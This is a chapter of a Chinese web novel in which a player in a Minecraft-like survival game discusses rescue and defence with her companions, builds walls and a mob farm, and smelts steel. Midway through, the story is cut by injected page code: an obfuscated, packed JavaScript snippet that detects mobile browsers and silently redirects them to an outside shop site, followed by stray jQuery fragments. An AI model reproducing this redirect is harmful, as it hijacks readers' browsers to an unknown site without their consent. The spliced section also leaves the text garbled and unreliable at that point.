【第四十九个成就】
“那些幸存者是怎么回事,我们好心放出救援队的消息,他们却想要来抢夺我们的资源?”
看得出来,艾米莉亚是真的很生气了。
虽然她想到对方的威胁只到抢夺资源这一步,而没有到威胁生命安全……
沈萌婉没怎么注意自己的模样,第一视角游戏,她能看到最多的属于自己的身体部分,大概就是自己的双手。
但她与同伴可是天天见的,每天相处多久就能看多久。
因此能够客观地做出判断,无论艾米莉亚还是卡兰多娜,都是非常漂亮的美人。
尽管身材样貌各不相同,可美本也是有不同模样的。
拥有艺术与知性的大小姐和充满野性灵动的猎人,毋庸置疑都是让人赏心悦目的美。
她们本身也有概率成为被盯上的猎物。
不管是什么成为别人觊觎的目标都不是好事。
玩家不知道游戏中的设定,可现实中早就有无数案例将结果摆在她的面前。双方结合一下,答案呼之欲出。
“我们不能坐以待毙。”艾米莉亚继续说着,眼神同样向卡兰多娜和沈萌婉传达着相同的想法。
玩家看了看卡兰多娜,发现这位猎人并没有什么想说的,大约是她和狼群已经在尽最大努力了。
她自己倒还真有点儿事情可以做,可这些事艾米莉亚帮不上忙。
“我想给大家的装备附魔,不过附魔的前提是杀怪获得经验,每天零散地狩猎效率太低,所以我会在我们基地的下方,”她指了指地面,“距离我们24~48格的位置建造刷怪塔,获取经验的同时也能够获得它们的掉落物。”
玩家又给同伴们展示了树场中的塑料片制造模块,“这里能够生产塑料片,是很多机器的材料。建造以刷怪塔为核心的体系时,一些机器的基础材料就包含它。”
她有点儿不好意思地解释道:“其实昨天我就想把整个体系都建造好的,结果时间还是慢了一点。”
还好今早没有爆发冲突,不然她们和两个孩子能不能在数量众多的幸存者手中逃脱都是未知数。
卡兰多娜好奇地绕着机器转了几圈,用手指戳了戳,然后被机器的震动吓到,赶紧收回了手。
她口中的话题却与机器毫无关系,“我想知道,你口中说的救援队,一次性能救多少人?”
这个问题非常实际,毕竟沈萌婉自己就是因为救援队载不下她而给她丢在这里的。
万一救援队专门为了沈萌婉返回,发现又多了这么多预料之外的幸存者……哪怕他们离开前有让沈萌婉寻找其他幸存者,恐怕也没有想到数量竟然如此之多,万一又没有做足准备怎么办?
这一来一去,时间可不是一般的久。
艾米莉亚似是被提醒了一般,提出了一个锋利的问题,“其实,我一直在想。
我们的航班总航程也就十几个小时,你说救援队差不多是早上九点的时候离开。哪怕飞机刚起飞没多久就坠落,一坠落就通知救援队,救援队赶来这里也最多不超过12小时。”
言下之意,将人送去医院再回来,最多也就一天时间。
考虑到此处地处偏僻,可能救援队所在位置近而医院遥远,来回时间更久一些,理应也不超过两天。
如果当地的救援队难以立刻回来,那么从世界各地前来进行人道主义救援的志愿者,从出发到到达此地,按照惯例也很少超过三天时间。
而此时已经是事故发生后第二天的下午,按照预计,无论是当地救援队还是国际人道主义救援队都应该离他们不远了。
这游戏这么真实的吗?
玩家都要抹汗了。
她还真没关注过,飞机失事会有国际救援队这种事。
虽然听说过一些洞潜、洞穴探险和其他专业性较高的探险活动,在有人救援时可能引来国际的人道主义救援。但那通常是该活动本身就存在参与人数少、圈外人难以立刻上手,除了圈内人,其他人很难进行救援的情况。
是我孤陋寡闻了……
玩家如此反省,没想到游戏在这方面做得如此贴近现实。
明明只是一个马赛克游戏!
吐槽过后,正题还得继续。
“按照24小时制或许没有多久了,但这个游戏系统日升日落太快,会给人过去了很多天的错觉。”
在糟糕的生存环境里本就度日如年,环境还在进行反向误导,会有错觉也是难免。
“所以,还是要做好防御准备。”卡兰多娜挥舞手臂,然后对沈萌婉说道:“我想在营地边沿围一圈石墙。”
将整个营地都围起来,夜晚便不会有怪物随意跑进来了。如此,再不经许可就进入营地的,只能是宵小之徒。
沈萌婉立刻表示认同,“我没时间搭建,只能合成出石墙来,其他都交给你了。”
“没问题。”
甚至一层石墙都不够令人放心,卡兰多娜打算建造三层高的石墙,围墙顶部几乎与二楼地板齐平,这才让人感到安心。
直上直下的石墙普通怪物是进不来了,但有一种怪物能够爬上来,蜘蛛。
解决方法也简单,在最上层搭一层突出的方块即可。
这怪物傻得很,头顶有东西挡住就不知道怎么跑了。
那用什么来建造呢?
沈萌婉思考良久,觉得石砖、木台阶之类的虽然也可以搭建,但总会让人觉得营地内部格外压抑,美观度就更是谈不上了。
“那就用树叶来搭建吧。”增加点儿绿化,在游戏中,树叶又是透明方块,能够让光线穿透,不影响内部的视觉。
于是,本来只能用来分解装备的剪刀又有了用武之地。
艾米莉亚和两个孩子也说想要帮忙提供建材,想要用剪刀去剪树叶。
玩家无可无不可,不过是多合成几把剪刀的事情。现在营地里铁锭这种基础金属锭可多得是。
树场里的树木还没完全被树汁提取机消耗光,她们能够先在自家树场里进行尝试。
艾米莉亚的身高很轻易就能够到最底部的几层树叶,她看准了一处,对准树叶与树枝相连的叶柄,咔嚓一声。
一片树叶晃晃悠悠地飘落下来,并没有变成方块也没有变成掉落物,只是一片叶片而已。
也对,艾米莉亚作为卡牌生存游戏系统的NPC,她的世界里本就没有树叶方块。采集到的树叶,会以某种树叶的卡牌形式存在。
随着时间的推移,树叶会逐渐干枯,最终变成枯叶。
枯叶作为燃料还能勉强一用,其他地方很少有能用得到的地方。
两个孩子倒是顺利地剪下了树叶,只是他们的身量也就能剪剪最底部的树叶,但凡高一两层他们都够不着。
艾米莉亚放下手中的剪刀,将肯抱起来,高高举起。肯瞬间就够到了顶部的树叶。
两人配合,不消一会儿就将一整棵树剃成光头。
露露在树下欢快地跑着,时不时将掉落的树叶方块掉落物捡起来,塞进附近的抽屉里。
沈萌婉本还在想要不要帮忙的,见三人配合默契,便不再多言,孤身一人前往岛屿下方,继续昨晚未尽的工作。
每次都要爬梯子上下着实是有些慢了。
按照原版游戏,这时候就要建造水电梯,1*2的格子,每一层都得是水源方块。
一格底下放灵魂沙,另一格放岩浆块,便能形成自动上下的水电梯。
使用岩浆块有一个坏处,踩上去之后会持续受到烫伤,哪怕在水里也是如此。
而且,同样是向下,其实完全可以只在底部铺上一层水,直接跳下去就是了。
事实上,水电梯最大的问题应该在于使用者的衣服会被水浸透。
游戏系统还没有发生改变,但玩家已经在考虑以后更换了游戏之后可能遭遇的问题了。
毕竟,她还怀着微小的希望,希望这套花费了大量心力构建的工业体系能在换了系统之后依然保持运行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896542|205985||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>考虑到以后的使用,或许建造真正的电梯才更好一些。
沈萌婉就差没打开合成列表,找找这游戏有没有加载电梯的mod了。
不行不行,时间紧急,还是先做正经事。
往下挖的时候,新奇感占据上风还没什么感觉,离开时因为有紧急情况,心思完全没在赶路上,也没有什么感觉。
这会儿正儿八经地认真往下爬,沈萌婉只觉得又无聊又费力。
哎,胳膊酸,腿疼……
在现实里她可是十几年……不,二十多年都没这么爬过了——虽然她短暂的生命至今也才21岁。
或许也就只有婴幼儿时期有在地上爬过吧,反正这种直梯是决计没有碰过的。
玩个游戏居然还给她整上新奇的体验了。
话是这么说,现实里还是不要这种体验比较好。
她爬得腿肚子都打哆嗦,腿软、膝盖软,生怕一个脚滑咕咚就一摔到底了。
明明这款游戏也没设置一个体力条。
一边吐槽,一边努力向下爬,还真给她爬到了底。
当初边往下挖边搭建梯子都没有这么累。
一定要赶紧把刷怪塔搭建好,然后改进一下上下楼的方式。
玩家捏捏拳头,又埋头苦干起来。
作业搭建的冶炼炉中,液体燃料已经填满,基础液体储罐里也攒了薄薄一层发光的液体。质朴的熔岩生成系统忠实地发挥了它的作用。
沈萌婉拿出木炭和铁锭。
按照合成表来说,合成钢锭需要的是炭和铁,其中的炭通常指的是煤炭。
在部分高炉和合金炉中,木炭无法代替煤炭与铁合成钢。
如果使用磨粉机,木炭和煤炭都能被磨成炭粉。
炭粉与铁锭能够合成钢锭。
使用冶炼炉时同样如此,木炭和煤炭都会被熔化成液体炭,与熔化的铁水融合便会合成钢锭。
将木炭和铁锭投入冶炼炉,沈萌婉盯着UI界面,看着熔炼的进度条一点点上涨。
熔岩被消耗,熔炼炉中逐渐出现黑色与金属质感的银色液体,仅仅是瞬间,这两种液体全部消失,只剩下一种生成的暗色金属液体。
这,就是熔融钢。
此时,沈萌婉还无法获得钢锭。
她没有模具,直接倾倒,需要一整个钢块的量才行。
刚好,模具也是用钢做的。
她将铁锭放在四周有边的冷却台中央,打开倾倒口。熔融钢顺着引流槽流入下方的冷却台,将整个冷却台都填满才停下。
只消片刻,铁锭消失,只留下一个金属锭的模板。
如果是现实中,模板和填入模板的材料理应不能是同一种,不然一旦冷却凝固,想要分开都搞不清哪里是模具哪里是所需的金属锭。
可游戏就没这么多讲究了。
沈萌婉连金属锭的模板都没拿出冷却台,直接就着此时的状态将拉杆开关保持在常开的位置。
冷却台底部连接着漏斗,漏斗连向箱子。
钢锭一旦冷却就自动进入漏斗,随后乖乖出现在箱子中。
这会儿,还是用箱子作为暂时存储之用。
上下楼不便,直接将产物送到楼上储物墙里,不方便检查产物的情况——包括数量和种类。
在改变物理距离导致的割裂感之前,合金锭的运输大约只能使用人力转移了。
好在,这款游戏没有重量的概念,无论把什么放进背包中,都能像没事人一样又跑又跳。
什么都比不上及时将材料拿到手中。
合成合成再合成。
当材料足够,刷怪塔并不是什么难以建造的建筑。
只是比预计的稍微多了一些前置材料,因此又多合成了几个机器。
不过就长久来说,这些机器合成了并不浪费。
在制作同属于工业性质的其他mod的前置材料时,可以用工业先锋的机器来制作,或许就能省去一些其他mod的前置机器。